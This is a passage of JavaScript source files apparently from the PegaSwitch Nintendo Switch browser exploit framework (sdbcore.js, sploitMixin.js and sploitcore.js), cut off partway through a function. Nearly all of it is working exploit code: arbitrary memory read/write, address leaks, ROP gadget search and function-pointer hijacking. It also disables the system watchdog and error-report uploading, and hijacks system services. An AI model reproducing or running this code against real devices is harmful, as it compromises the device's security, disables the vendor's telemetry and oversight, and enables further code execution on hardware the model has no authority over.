sdbcore.prototype.write1 = function(val, addr) { 802 | throw 'sdbcore.write1 not implemented'; 803 | }; 804 | 805 | sdbcore.prototype.memcpyFromBrowser = function(dst, src, size) { 806 | for(var i = 0; i < size; i += 8) { 807 | var s = utils.add2(src, i); 808 | //utils.log('[Bro] Reading ' + i); 809 | var v = [src[i >>> 2], src[(i >>> 2) + 1]]; 810 | //utils.log('[SDB] Writing ' + utils.paddr(v) + ' to ' + i); 811 | this.write82(v, utils.add2(dst, i)); 812 | } 813 | }; 814 | 815 | sdbcore.prototype.memcpyToBrowser = function(dst, src, size) { 816 | var sub = []; 817 | for(var i = 0; i < size; i += 4) { 818 | //utils.log('[SDB] Reading ' + i); 819 | var v = this.read4(utils.add2(src, i)); 820 | //utils.log('[Bro] Writing ' + v.toString(16) + ' to ' + i); 821 | dst[i >> 2] = v; 822 | } 823 | }; 824 | 825 | sdbcore.prototype.malloc = function(size) { 826 | //return this.slowCall(this.offsets['malloc'], [0, size]); 827 | }; 828 | 829 | sdbcore.prototype.free = function(addr) { 830 | //this.slowCall(this.offsets['free'], [0, addr]); 831 | }; 832 | 833 | sdbcore.prototype.setup_ro_hax = function() { 834 | var sdbIpcBuf = utils.add2(this.sdb_base, 0x150000); 835 | 836 | var sdb = this; 837 | var sc = this.sc; 838 | 839 | function waitHandles(handles) { 840 | for(var i = 0; i < handles.length; ++i) 841 | sdb.write8([handles[i], 0], utils.add2(sdbIpcBuf, 4 + i * 4)); 842 | var ret = sdb.svc(0x18, [sdbIpcBuf, utils.add2(sdbIpcBuf, 4), handles.length, 0])[0]; 843 | var hndI = sdb.read4(sdbIpcBuf); 844 | return [ret, hndI]; 845 | } 846 | 847 | function acceptSession(handle) { 848 | sdb.svc(0x41, [sdbIpcBuf, handle]); 849 | return sdb.read4(sdbIpcBuf); 850 | } 851 | 852 | function readIncoming(handle) { 853 | utils.log('Writing handle'); 854 | sdb.write8([handle, 0], sdb.scratch); 855 | utils.log('replyandreceive'); 856 | var ret = sdb.svc(0x44, [sdb.scratch, sdbIpcBuf, 0x1000, sdb.scratch, 1, [0, 0], [0xffffffff, 0xffffffff]])[0]; 857 | utils.log('Copying data'); 858 | if(ret == 0xf601) 859 | return null; 860 | var data = new Uint32Array(0x100); 861 | sdb.memcpyToBrowser(data, sdbIpcBuf, 7 << 2); 862 | utils.log('Done?'); 863 | return data; 864 | } 865 | 866 | function respond(handle, data) { 867 | utils.log('Attempting to respond'); 868 | sdb.memcpyFromBrowser(sdbIpcBuf, data, data.length << 2); 869 | utils.log('replyandreceive'); 870 | utils.log(utils.paddr(sdb.svc(0x44, [sdb.scratch, sdbIpcBuf, 0x1000, sdb.scratch, 0, handle, [0, 0]]))); 871 | utils.log('Done?'); 872 | } 873 | 874 | this.sc.unregisterService('spl:'); 875 | 876 | utils.log('Opening SM handle'); 877 | utils.log(utils.paddr(sdb.svc(0x1F, [sdbIpcBuf, utils.add2(sdb.sdb_base, 0x71807)]))); 878 | var sdbSmHandle = sdb.read4(sdbIpcBuf); 879 | utils.log('SM handle: ' + sdbSmHandle.toString(16)); 880 | 881 | var data = new Uint32Array([0x4, 0xc, 0, 0, 0x49434653, 0, 2, 0, 0x3a6c7073, 0, 200, 0x20]); 882 | sdb.memcpyFromBrowser(sdbIpcBuf, data, data.length << 2); 883 | utils.log(utils.paddr(sdb.svc(0x22, [sdbIpcBuf, 0x1000, sdbSmHandle]))); 884 | var output = new Uint32Array(0x100 >> 2); 885 | sdb.memcpyToBrowser(output, sdbIpcBuf, 4 << 2); 886 | 887 | for(var i = 0; i < 4; ++i) 888 | utils.log(output[i].toString(16)); 889 | 890 | var portHandle = output[3]; 891 | utils.log('Port handle: ' + portHandle.toString(16)); 892 | var handles = [portHandle]; 893 | 894 | waitHandles(handles); 895 | 896 | var lgetServicePid = function(service) { 897 | this.sc.killAutoHandle(); 898 | var res = this.sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).show(); 899 | this.sc.svcCloseHandle(res.movedHandles[0]); 900 | return res.pid[0]; 901 | }; 902 | 903 | var service = 'ldr:ro'; 904 | var pid = lgetServicePid(service); 905 | utils.log(service + ' is PID 0x'+pid.toString(16)); 906 | 907 | this.sc.ipcMsg(1).data(pid).sendTo('pm:shell').show(); 908 | 909 | var tid = utils.parseAddr('0100000000000037'); 910 | 911 | var newPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').show().data[1][0]; 912 | 913 | var interval = setInterval(function() { 914 | var temp = waitHandles(handles); 915 | switch(temp[0]) { 916 | case 0: 917 | utils.log('Handle ' + temp[1] + ' ready'); 918 | var handle = handles[temp[1]]; 919 | if(handle == portHandle) { 920 | var pipe = acceptSession(portHandle); 921 | utils.log('Accepted new pipe ' + pipe.toString(16)); 922 | handles.push(pipe); 923 | } else { 924 | utils.log('Got incoming message on ' + handle.toString(16)); 925 | var data = readIncoming(handle); 926 | if(data == null) { 927 | utils.log('Pipe closed. Removing.'); 928 | sdb.svc(0x16, [handle]); 929 | handles.splice(handles.indexOf(handle), 1); 930 | clearInterval(interval); // We should be done now! 931 | if (sdb.onready != null) 932 | sdb.onready(); 933 | break; 934 | } 935 | 936 | if(data[6] == 11) { // GetDevUnitFlag 937 | respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 0, 0])); 938 | } else if(data[6] == 0) { 939 | respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 1, 0])); 940 | } else { 941 | clearInterval(interval); 942 | } 943 | } 944 | break; 945 | case 0xea01: 946 | break; 947 | default: 948 | utils.log('Unknown ret for wait: ' + temp[0].toString(16)); 949 | break; 950 | } 951 | }, 100); 952 | }; 953 | 954 | module.exports = sdbcore; 955 | -------------------------------------------------------------------------------- /pegaswitch/exploit/sploitMixin.js: -------------------------------------------------------------------------------- 1 | var utils = require('./utils'); 2 | 3 | var sploitMixin = {}; 4 | 5 | sploitMixin.sploitMixinInit = function () { 6 | this.ipcHandles = {}; 7 | }; 8 | 9 | sploitMixin.withHandle = function (handle, cb) { 10 | try { 11 | return cb(handle); 12 | } finally { 13 | this.svcCloseHandle(handle); 14 | } 15 | }; 16 | 17 | sploitMixin.findUnmappedRegion = function (targetSize) { 18 | targetSize = utils.pad64(targetSize); 19 | 20 | // skip the first block so nobody tries to map at 0 21 | var addr = [0, 0]; 22 | var [base, size, state, perm] = this.svcQueryMem(addr, true).assertOk(); 23 | do { 24 | addr = utils.add2(addr, size); 25 | [base, size, state, perm] = this.svcQueryMem(addr, true).assertOk(); 26 | if (base[0] !== addr[0] || base[1] !== addr[1]) { 27 | throw new Error('queryMem base mismatch?'); 28 | } 29 | } while (size[1] < targetSize[1] || (size[1] === targetSize[1] && size[0] < targetSize[0]) || perm !== 0 || state !== 0); 30 | return addr; 31 | }; 32 | 33 | module.exports = sploitMixin; 34 | -------------------------------------------------------------------------------- /pegaswitch/exploit/sploitcore.js: -------------------------------------------------------------------------------- 1 | /* eslint camelcase: "off" */ 2 | /* eslint no-redeclare: "off" */ 3 | /* eslint no-unmodified-loop-condition: "off" */ 4 | /* eslint no-fallthrough: "off" */ 5 | /* global XMLHttpRequest */ 6 | var utils = require('./utils'); 7 | 8 | var SDBCore = require('./sdbcore'); 9 | var AsyncCaller = require('./AsyncCaller'); 10 | var svcMixin = require('./svc'); 11 | var sploitMixin = require('./sploitMixin'); 12 | 13 | var AltCaller = require('./AltCaller'); 14 | 15 | var IFile = require('./fs/IFile'); 16 | var IFileSystem = require('./fs/IFileSystem'); 17 | var IDirectory = require('./fs/IDirectory'); 18 | 19 | var config = require('../config'); 20 | 21 | /** 22 | A value that represents a 64-bit Integer
23 | This is an array of exactly 2 values, as described below. 24 | 25 | @typedef {Array.} u64 26 | @property {number} 0 - Low value of u64 27 | @property {number} 1 - High value of u64 28 | @example 29 | [ 0x00000000, 0xffff0000 ] 30 | */ 31 | 32 | /** 33 | Represents an instance of SploitCore 34 | @constructor 35 | @param {object} exploitMe - Reference to object used for leaking data 36 | @property {u64} base - Base address 37 | @property {boolean} isBrowser - Returns true 38 | @property {string} name - Returns "browser" 39 | */ 40 | var SploitCore = function (exploitMe) { 41 | this.gc(); 42 | 43 | this.va = exploitMe.va; 44 | this.vb = exploitMe.vb; 45 | this.leakee = exploitMe.leakee; 46 | this.leakaddr = exploitMe.leakaddr; 47 | 48 | this.allocated = {}; 49 | 50 | this.func = document.getElementById; 51 | this.func.apply(document, ['']); // Ensure the func pointer is cached at 8:9 52 | 53 | if (!SploitCore.prototype.importedMixins) { 54 | Object.keys(svcMixin).forEach((k) => { 55 | SploitCore.prototype[k] = svcMixin[k]; 56 | }); 57 | 58 | Object.keys(sploitMixin).forEach((k) => { 59 | SploitCore.prototype[k] = sploitMixin[k]; 60 | }); 61 | 62 | SploitCore.prototype.importedMixins = true; 63 | } 64 | 65 | this.sc = this; 66 | 67 | this.base = this.getBase(); 68 | 69 | this.mainaddr = this.walkList(); 70 | utils.dlog('Main address ' + utils.paddr(this.mainaddr)); 71 | 72 | // This isn't exactly right, but really shouldn't matter. As long as it's <= the real size, we won't crash. 73 | this.mainTextSize = 0x5B2000; 74 | this.wkcTextSize = 0xF37000; 75 | 76 | this.is_1_0_0 = navigator.userAgent.indexOf('4.0.0.4.25') != -1; 77 | if (this.is_1_0_0) { 78 | this.mainTextSize = 0x5E7000; 79 | } 80 | this.gadgetCache = this.loadCache(); 81 | 82 | this.fake_stack = this.malloc(0x100000); 83 | 84 | this.ipcBuf = new Uint32Array(0x2000 >> 2); 85 | this.emptyIpcBuf = new Uint32Array(0x2000 >> 2); // Keep this empty. 86 | this.ipcBufAddr = this.getArrayBufferAddr(this.ipcBuf); 87 | this.sploitMixinInit(); 88 | this.ipcServices = {}; 89 | 90 | this.gc(); 91 | 92 | this.enableTurbo(); 93 | 94 | utils.log('Disabling watchdog timer...'); 95 | this.disableWatchdog(); 96 | 97 | var versbuf = new ArrayBuffer(0x100); 98 | this.ipcMsg(3).cDescriptor(versbuf).sendTo("set:sys").assertOk(); 99 | this.version = utils.u8a2nullstr(new Uint8Array(versbuf, 0x68, 0x100-0x68)); 100 | utils.log("System Version: " + this.version); 101 | 102 | var sc = this; 103 | 104 | if (config.sdbcore) { 105 | utils.log('Pwning sdb module...'); 106 | this.sdb = new SDBCore(this, this.version); 107 | if(!this.sdb.initialized) { 108 | utils.log('Failed to initialize sdb'); 109 | this.sdb = null; 110 | } 111 | } 112 | 113 | sc.getServices(["set:sys", "set:fd"], function (setsys, setfd) { 114 | var getSetting = function (session, cls, nam) { // session is set:sys 115 | var out = new Uint32Array(1); 116 | var x1 = utils.str2ab(cls); 117 | var x2 = utils.str2ab(nam); 118 | return sc.ipcMsg(38).bDescriptor(out, 4, 0).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).sendTo(session).asResult().map((r) => out[0]); 119 | } 120 | 121 | var setSetting = function (session, cls, nam, value) { // session is set:fd 122 | var a = new Uint32Array(1); 123 | a[0] = value; 124 | var x1 = utils.str2ab(cls); 125 | var x2 = utils.str2ab(nam); 126 | return sc.ipcMsg(2).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).aDescriptor(a, 4, 0).sendTo(session).asResult(); 127 | } 128 | var cls = 'eupld', name = 'upload_enabled'; 129 | var orig = getSetting(setsys, cls, name).assertOk(); 130 | if(orig == 1) { 131 | utils.log('Disabling error uploading.'); 132 | setSetting(setfd, cls, name, 0).assertOk(); 133 | } 134 | 135 | if (this.version == '3.0.0') { 136 | orig = getSetting(setsys, "ro", "ease_nro_restriction").assertOk(); 137 | if(orig == 0) { 138 | utils.log("Easing nro restriction..."); 139 | setSetting(setfd, "ro", "ease_nro_restriction", 1).assertOk(); 140 | } 141 | } 142 | }); 143 | 144 | if(!this.is_1_0_0) { 145 | this.asyncCaller = new AsyncCaller(this); 146 | } 147 | utils.log('~~success'); 148 | }; 149 | 150 | SploitCore.prototype.isBrowser = true; 151 | SploitCore.prototype.name = "browser"; 152 | 153 | /** 154 | Returns address of function 155 | @returns {u64} Address of function 156 | */ 157 | SploitCore.prototype.getFuncAddr = function () { 158 | this.func.apply(document, ['']); // Ensure the func pointer is cached at 8:9 159 | var tlfuncaddr = this.getAddr(this.func); 160 | return this.read8(tlfuncaddr, 6); 161 | }; 162 | 163 | /** 164 | Reads 4 bytes from address 165 | @param {u64} addr - Address to read value from 166 | @param {number} [offset=0] - Offset to add to addr before read 167 | @returns {number} 168 | */ 169 | SploitCore.prototype.read4 = function (addr, offset) { 170 | if (arguments.length === 1) { offset = 0; } 171 | 172 | utils.assertu64(addr); 173 | 174 | this.va[4] = addr[0]; 175 | this.va[5] = addr[1]; 176 | this.va[6] = 1 + offset; 177 | return this.vb[offset]; 178 | }; 179 | 180 | /** 181 | Writes 4 bytes to address 182 | @param {number} val - Value to write 183 | @param {u64} addr - Address to write value to 184 | @param {number} [offset=0] - Offset to add to addr before write 185 | */ 186 | SploitCore.prototype.write4 = function (val, addr, offset) { 187 | if (arguments.length === 2) { offset = 0; } 188 | 189 | this.va[4] = addr[0]; 190 | this.va[5] = addr[1]; 191 | this.va[6] = 1 + offset; 192 | 193 | this.vb[offset] = val; 194 | }; 195 | 196 | /** 197 | Reads 8 bytes from address 198 | @param {u64} addr - Address to read value from 199 | @param {number} [offset=0] - Offset to add to addr before read 200 | @returns {number} 201 | */ 202 | SploitCore.prototype.read8 = function (addr, offset) { 203 | if (arguments.length === 1) { offset = 0; } 204 | return [this.read4(addr, offset), this.read4(addr, offset + 1)]; 205 | }; 206 | 207 | /** 208 | Writes 8 bytes to address 209 | @param {number} val - Value to write 210 | @param {u64} addr - Address to write value to 211 | @param {number} [offset=0] - Offset to add to addr before write 212 | */ 213 | SploitCore.prototype.write8 = function (val, addr, offset) { 214 | if (arguments.length === 2) { offset = 0; } 215 | val = utils.pad64(val); 216 | this.write4(val[0], addr, offset); 217 | this.write4(val[1], addr, offset + 1); 218 | }; 219 | 220 | /** 221 | Calls callback with an ArrayBuffer pointing to the view of memory requested.
222 | If you return a value from within the callback it will be returned by {@link SploitCore#memview}
223 | Warning: If you keep that view or any object using it around; you will tank the GC and your Switch will crash. 224 | @param {u64} addr - Base address for view 225 | @param {number} size - Number of bytes to view 226 | @param {function} func - Function which is called with ArrayBuffer. 227 | @returns {any} Value returned by func 228 | */ 229 | SploitCore.prototype.memview = function (addr, size, func) { 230 | var ab = new ArrayBuffer(0); 231 | var taddr = this.read8(this.getAddr(ab), 4); 232 | 233 | var origPtr = this.read8(taddr, 6); 234 | var origSize = this.read4(taddr, 8); 235 | this.write8(addr, taddr, 6); 236 | this.write4(size, taddr, 8); 237 | 238 | var ret = func.apply(this, [ab]); 239 | 240 | this.write8(origPtr, taddr, 6); 241 | this.write4(origSize, taddr, 8); 242 | 243 | return ret; 244 | }; 245 | 246 | /** 247 | Returns address of object 248 | @param {object} obj - Object to get address of 249 | @returns {u64} Address of object 250 | */ 251 | SploitCore.prototype.getAddr = function (obj) { 252 | this.leakee['b'] = {'a': obj}; 253 | return this.read8(this.read8(this.leakaddr, 4), 4); 254 | }; 255 | 256 | /** 257 | Calculate address relative to main address 258 | @param {u64} off - Offset 259 | @returns {u64} Relative address 260 | */ 261 | SploitCore.prototype.mref = function (off) { 262 | return utils.add2(this.mainaddr, off); 263 | }; 264 | 265 | /** 266 | Returns base address of current module 267 | @private 268 | @returns {u64} 269 | */ 270 | SploitCore.prototype.getBase = function () { 271 | var funcaddr = this.getFuncAddr(); 272 | 273 | utils.dlog('Searching for start of module.'); 274 | 275 | var baseaddr = this.read8(funcaddr, 8); 276 | baseaddr[0] = (baseaddr[0] & 0xFFFFF000) >>> 0; 277 | while (this.read4(baseaddr, 4) !== 0x304F524E) { baseaddr = utils.add2(baseaddr, -4096); } 278 | 279 | utils.dlog('First module ... ' + utils.paddr(baseaddr)); 280 | 281 | return baseaddr; 282 | }; 283 | 284 | /** 285 | TODO DOCS 286 | @private 287 | */ 288 | SploitCore.prototype.walkList = function () { 289 | var addr = this.base; 290 | utils.dlog('Initial NRO at ' + utils.paddr(addr)); 291 | 292 | while (true) { 293 | var modoff = this.read4(addr, 1); 294 | addr = utils.add2(addr, modoff); 295 | var modstr = this.read4(addr, 6); 296 | addr = utils.add2(addr, modstr); 297 | 298 | // Read next link ptr 299 | addr = this.read8(addr); 300 | if (utils.nullptr(addr)) { 301 | utils.log('Reached end'); 302 | break; 303 | } 304 | 305 | var nro = this.read8(addr, 8); 306 | 307 | if (utils.nullptr(nro)) { 308 | utils.dlog('Hit RTLD at ' + utils.paddr(addr)); 309 | addr = this.read8(addr, 4); 310 | break; 311 | } 312 | 313 | if (this.read4(nro, 4) !== 0x304f524e) { 314 | utils.log('Something is wrong. No NRO header at base.'); 315 | break; 316 | } 317 | 318 | addr = nro; 319 | utils.dlog('Found NRO at ' + utils.paddr(nro)); 320 | } 321 | 322 | while (true) { 323 | nro = this.read8(addr, 8); 324 | if (utils.nullptr(nro)) { 325 | utils.dlog('Hm, hit the end of things. Back in rtld?'); 326 | return; 327 | } 328 | 329 | if (this.read4(nro, this.read4(nro, 1) >> 2) === 0x30444f4d) { 330 | utils.dlog('Got MOD at ' + utils.paddr(nro)); 331 | if (this.read4(nro, 4) === 0x8DCDF8 && this.read4(nro, 5) === 0x959620) { 332 | utils.dlog('Found main module.'); 333 | this.wifiApplet = true; 334 | return nro; 335 | } else if (this.read4(nro, 4) === 0x2a0103f3 && this.read4(nro, 5) === 0x94000002) { 336 | utils.dlog('Found main module.'); 337 | this.wifiApplet = false; 338 | return utils.add2(nro, 0x6000); 339 | } 340 | } else { 341 | utils.dlog('No valid MOD header. Back at RTLD.'); 342 | break; 343 | } 344 | 345 | addr = this.read8(addr, 0); 346 | if (utils.nullptr(addr)) { 347 | utils.dlog('End of chain.'); 348 | break; 349 | } 350 | } 351 | }; 352 | 353 | /** 354 | Returns a cache of gadgets for speed boost 355 | @private 356 | @returns {object} 357 | */ 358 | SploitCore.prototype.loadCache = function () { 359 | var self = this; 360 | function checkGadget (base, size, gadget, offset) { 361 | if (offset + gadget.length >= size) { return false; } 362 | return self.memview(utils.add2(base, offset), gadget.length, function (ab) { 363 | var u8 = new Uint8Array(ab); 364 | for (var i = 0; i < gadget.length; ++i) { 365 | if (gadget[i] !== -1 && gadget[i] !== u8[i]) { return false; } 366 | } 367 | return true; 368 | }); 369 | } 370 | var request = new XMLHttpRequest(); 371 | request.open('GET', '/cache', false); 372 | request.send(null); 373 | if (request.status === 200) { 374 | var cache = JSON.parse(request.responseText); 375 | for (var key in cache) { 376 | var offset = cache[key]; 377 | key = JSON.parse('[' + key + ']'); 378 | if (!checkGadget(this.mainaddr, this.mainTextSize, key, offset) && !checkGadget(this.base, this.wkcTextSize, key, offset)) { 379 | utils.log('Gadget cache invalid'); 380 | return {}; 381 | } 382 | } 383 | return cache; 384 | } else { return {}; } 385 | }; 386 | 387 | 388 | // XXX: Make this work on uint32s. Way faster. 389 | 390 | /** 391 | Finds a gadget that matches required pattern 392 | @param {Array.} input - Hex pattern to match 393 | @param {boolean} inWkc - Search in wkc 394 | @returns {u64|null} Address of gadget, or null if not found. 395 | */ 396 | SploitCore.prototype.gadget = function (input, inWkc) { 397 | if (arguments.length === 1) { inWkc = false; } 398 | 399 | var bytes; 400 | if (typeof (input) === 'string') { 401 | var arr = []; 402 | for (var i = 0; i < input.length; i += 2) { 403 | arr.push(parseInt(input.substring(i, i + 2), 16)); 404 | } 405 | bytes = arr; 406 | } else { 407 | bytes = input; 408 | } 409 | 410 | var ta = inWkc ? this.base : this.mainaddr; 411 | 412 | if (bytes in this.gadgetCache) { 413 | // utils.dlog('Found bytes in gadget cache'); 414 | return utils.add2(ta, this.gadgetCache[bytes]); 415 | } 416 | 417 | var ts = inWkc ? this.wkcTextSize : this.mainTextSize; 418 | 419 | var ss = ts - bytes.length; 420 | var pair = this.memview(ta, ts, function (ab) { 421 | var u8 = new Uint8Array(ab); 422 | for (var i = 0; i < ss; i += 4) { 423 | var miss = false; 424 | for (var j = 0; j < bytes.length; ++j) { 425 | if (bytes[j] !== -1 && u8[i + j] !== bytes[j]) { 426 | miss = true; 427 | break; 428 | } 429 | } 430 | if (!miss) { 431 | var addr = utils.add2(ta, i); 432 | utils.log('Found gadget at ' + utils.paddr(addr)); 433 | return [addr, i]; 434 | } 435 | } 436 | return null; 437 | }); 438 | 439 | if (pair === null) { 440 | var f = ''; 441 | for (i = 0; i < bytes.length; ++i) { 442 | f += ('0' + bytes[i].toString(16)).slice(-2) + ' '; 443 | } 444 | utils.log('Could not find gadget with bytes: ' + f); 445 | throw new Error('Bad gadget'); 446 | } 447 | 448 | this.gadgetCache[bytes] = pair[1]; 449 | utils.pushCache(this.gadgetCache); 450 | return pair[0]; 451 | }; 452 | 453 | /** 454 | Disables the browser watchdog 455 | */ 456 | SploitCore.prototype.disableWatchdog = function () { 457 | if (navigator.userAgent.indexOf('4.0.0.4.25') != -1) { 458 | var vm = this.call(this.gadget([0xF4, 0x4F, 0xBE, 0xA9, 0xFD, 0x7B, 0x01, 0xA9, 0xFD, 0x43, 0x00, 0x91, 0xFF, 0x83, 0x00, 0xD1, 0xD3, 0xBF, 0x00, 0x90, 0x73, 0x02, 0x0D, 0x91, 0x60, 0x42, 0x00, 0x91], true)); 459 | } else { 460 | var common_byte = navigator.userAgent.indexOf('4.0.0.6.9') != -1 ? 0x73 : 0x53; 461 | var vm = this.call(this.gadget([0xFF, 0x03, 0x01, 0xD1, 0xF4, 0x4F, 0x02, 0xA9, 0xFD, 0x7B, 0x03, 0xA9, 0xFD, 0xC3, 0x00, 0x91, (common_byte), -1, -1, -1, 0x73, -1, -1, -1, 0x60, 0x22, 0x00, 0x91, 0x08, 0xFC, 0xDF, 0x08, 0x48, 0x01, 0x00, 0x37], true)); 462 | } 463 | utils.log("VM: " + utils.paddr(vm)); 464 | 465 | var wd = this.read8(utils.add2(vm, 0x2768)); 466 | utils.log("WD: " + utils.paddr(wd)); 467 | 468 | var ret0 = this.gadget([0xe0, 0x03, 0x1f, 0xaa, 0xc0, 0x03, 0x5f, 0xd6]); 469 | 470 | var current = this.read8(wd, 8 >> 2); 471 | if (current[0] != 0xFFFFFFFF || current[1] != 0x7FFFFFFF) { 472 | this.call(this.gadget([0xF9, 0x0F, 0x1B, 0xF8, 0xF8, 0x5F, 0x01, 0xA9, 0xF6, 0x57, 0x02, 0xA9, 0xF4, 0x4F, 0x03, 0xA9, 0xFD, 0x7B, 0x04, 0xA9, 0xFD, 0x03, 0x01, 0x91, 0xF3, 0x03, 0x00, 0xAA, 0x79, 0x06, 0x40, 0xF9, 0x68, 0x92, 0x40, 0x39], true), [wd, vm, [0xFFFFFFFF, 0x7FFFFFFF], ret0, 0, 0]); 473 | } 474 | }; 475 | 476 | /** 477 | Returns the address of SP 478 | @returns {u64} Address of SP 479 | */ 480 | SploitCore.prototype.getSP = function () { 481 | // First gadget 482 | var jaddr = this.gadget([0x74, 0x32, 0x40, 0xF9, 0x7F, 0x3E, 0x00, 0xF9, 0x14, 0x01, 0x00, 0xB4, 0x80, 0x0A, 0x40, 0xF9]); 483 | 484 | utils.dlog('New jump at ' + utils.paddr(jaddr)); 485 | utils.dlog('Assigning function pointer'); 486 | 487 | var carr = new Uint32Array(16); 488 | var cbuf = this.read8(this.getAddr(carr), 4); 489 | 490 | var struct1 = this.malloc(0x48); 491 | var struct2 = this.malloc(0x28); 492 | var struct3 = this.malloc(0x518); 493 | var struct4 = this.malloc(0x38); 494 | 495 | this.write8(struct1, cbuf, 0); 496 | this.write8(this.gadget([0x09, 0x09, 0x40, 0xf9, 0x00, 0x01, 0x40, 0xf9, 0x01, 0x29, 0x40, 0xb9, 0x02, 0x1d, 0x40, 0xf9, 0x20, 0x01, 0x3f, 0xd6]), cbuf, 0x8 >> 2); 497 | this.write8(this.gadget([0x08, 0x08, 0x40, 0xf9, 0x00, 0x01, 0x40, 0xf9, 0x05, 0x10, 0x40, 0xf9, 0xa0, 0x00, 0x1f, 0xd6]), cbuf, 0x10 >> 2); 498 | 499 | this.write8(this.gadget([0xE8, 0x03, 0x00, 0xAA, 0x02, 0x05, 0x40, 0xF9, 0x82, 0x00, 0x00, 0xB4, 0xE0, 0x03, 0x00, 0x32]), struct1, 0); 500 | this.write8(struct2, struct1, 0x10 >> 2); 501 | 502 | this.write8(struct3, struct2, 0); 503 | this.write8(this.gadget([0xf3, 0x03, 0x00, 0xaa, 0x08, 0x41, 0x00, 0x91, 0x68, 0x02, 0x00, 0xf9, 0x68, 0x0e, 0x40, 0xf9, 0x00, 0x01, 0x3f, 0xd6]), struct2, 0x20 >> 2); 504 | 505 | this.write8([0x00000000, 0xffff0000], struct3, 0x8 >> 2); 506 | this.write8(this.gadget([0x08, 0x88, 0x42, 0xf9, 0x02, 0x19, 0x40, 0xf9, 0x40, 0x00, 0x1f, 0xd6]), struct3, 0x18 >> 2); 507 | this.write8(this.gadget([0x09, 0x11, 0x40, 0xf9, 0xe8, 0x23, 0x00, 0x91, 0xe1, 0x03, 0x14, 0xaa, 0x20, 0x01, 0x3f, 0xd6]), struct3, 0x20 >> 2); 508 | this.write8(struct4, struct3, 0x510 >> 2); 509 | 510 | this.write8(this.gadget([0x78, 0x06, 0x40, 0xf9, 0xe1, 0x03, 0x1e, 0x32, 0x00, 0x01, 0x3f, 0xd6]), struct4, 0x18 >> 2); 511 | this.write8(this.gadget([0x60, 0x03, 0x3f, 0xd6]), struct4, 0x28 >> 2); 512 | this.write8(this.gadget([0x02, 0x0d, 0x40, 0xf9, 0x08, 0x15, 0x40, 0xf9, 0xe0, 0x03, 0x01, 0xaa, 0xe1, 0x03, 0x08, 0xaa, 0x40, 0x00, 0x1f, 0xd6]), struct4, 0x30 >> 2); 513 | 514 | var funcaddr = this.getFuncAddr(); 515 | utils.dlog('Function object at ' + utils.paddr(funcaddr)); 516 | 517 | var curptr = this.read8(funcaddr, 8); 518 | this.write8(jaddr, funcaddr, 8); 519 | // utils.log('Patched function address from ' + utils.paddr(curptr) + ' to ' + utils.paddr(this.read8(this.funcaddr, 8))); 520 | 521 | utils.dlog('Assigned. Jumping to get SP.'); 522 | this.func.apply(0x100, [0, 0, 0, 0, 0, 0, 0, 0, carr, 0, 0, 0, 0, 0, 0, 0, 0]); 523 | utils.dlog('Jumped back from getting SP.'); 524 | 525 | this.write8(curptr, funcaddr, 8); 526 | utils.dlog('Restored original function pointer.'); 527 | 528 | var sp = utils.add2(this.read8(struct3, 0), -0x18); 529 | utils.dlog('Got stack pointer: ' + utils.paddr(sp)); 530 | 531 | this.free(struct1); 532 | this.free(struct2); 533 | this.free(struct3); 534 | this.free(struct4); 535 | 536 | utils.dlog('Freed buffers'); 537 | 538 | return sp; 539 | }; 540 | 541 | /** 542 | Allocates a region of memory to use 543 | @param {number} bytes - Size of region 544 | @returns {u64} Address of region 545 | */ 546 | SploitCore.prototype.malloc = function (bytes) { 547 | var obj = new ArrayBuffer(bytes); 548 | var addr = this.getArrayBufferAddr(obj); 549 | this.allocated[addr] = obj; 550 | return addr; 551 | }; 552 | 553 | /** 554 | TODO DOCS 555 | */ 556 | SploitCore.prototype.free = function (addr) { 557 | delete this.allocated[addr]; 558 | }; 559 | 560 | /** 561 | TODO DOCS 562 | */ 563 | SploitCore.prototype.getArrayBufferAddr = function (ab) { 564 | var offset = 0; 565 | if (ArrayBuffer.isView(ab)) { 566 | offset = ab.byteOffset; 567 | ab = ab.buffer; 568 | } 569 | if (!(ab instanceof ArrayBuffer)) { 570 | throw new Error('expected ArrayBuffer or view'); 571 | } 572 | return utils.add2(this.read8(this.read8(this.getAddr(ab), 4), 6), offset); 573 | }; 574 | 575 | /** 576 | TODO DOCS 577 | */ 578 | SploitCore.prototype.call = function (funcptr, args, fargs, registers, dump_regs) { 579 | if (typeof (funcptr) === 'number') { 580 | funcptr = utils.add2(this.mainaddr, funcptr); 581 | } 582 | switch (arguments.length) { 583 | case 1: { 584 | args = []; 585 | } 586 | case 2: { 587 | fargs = []; 588 | } 589 | case 3: { 590 | registers = []; 591 | } 592 | case 4: { 593 | dump_regs = false; 594 | } 595 | } 596 | 597 | if(this.turbo && 598 | args.length <= 13 && registers.length <= 8 && 599 | fargs.length === 0 && (args.length === 0 || registers.length === 0)) { 600 | if (!args.length) { args = registers; } 601 | return this.altcaller.call.apply(this.altcaller, [funcptr].concat(args)); 602 | } 603 | 604 | for (var i = 0; i < args.length; i++) { 605 | if (args[i] instanceof ArrayBuffer || ArrayBuffer.isView(args[i])) { 606 | args[i] = this.getArrayBufferAddr(args[i]); 607 | } 608 | if (typeof(args[i]) !== "number" && !Array.isArray(args[i])) { 609 | throw new Error("argument " + i + " is invalid: " + args[i]); 610 | } 611 | } 612 | 613 | var carr = new Uint32Array(16); 614 | var cbuf = this.read8(this.getAddr(carr), 4); 615 | 616 | utils.dlog('Starting holy rop'); 617 | var jaddr = this.gadget([0x74, 0x32, 0x40, 0xF9, 0x7F, 0x3E, 0x00, 0xF9, 0x14, 0x01, 0x00, 0xB4, 0x80, 0x0A, 0x40, 0xF9]); 618 | utils.dlog('New jump at ' + utils.paddr(jaddr)); 619 | 620 | utils.dlog('Setting up structs'); 621 | 622 | // Begin Gadgets 623 | var mov_x0_into_x8_load_br_x2 = this.gadget([0xE8, 0x03, 0x00, 0xAA, 0x02, 0x05, 0x40, 0xF9, 0x82, 0x00, 0x00, 0xB4, 0xE0, 0x03, 0x00, 0x32]); 624 | var load_x0_w1_x2_x9_blr_x9 = this.gadget([0x09, 0x09, 0x40, 0xf9, 0x00, 0x01, 0x40, 0xf9, 0x01, 0x29, 0x40, 0xb9, 0x02, 0x1d, 0x40, 0xf9, 0x20, 0x01, 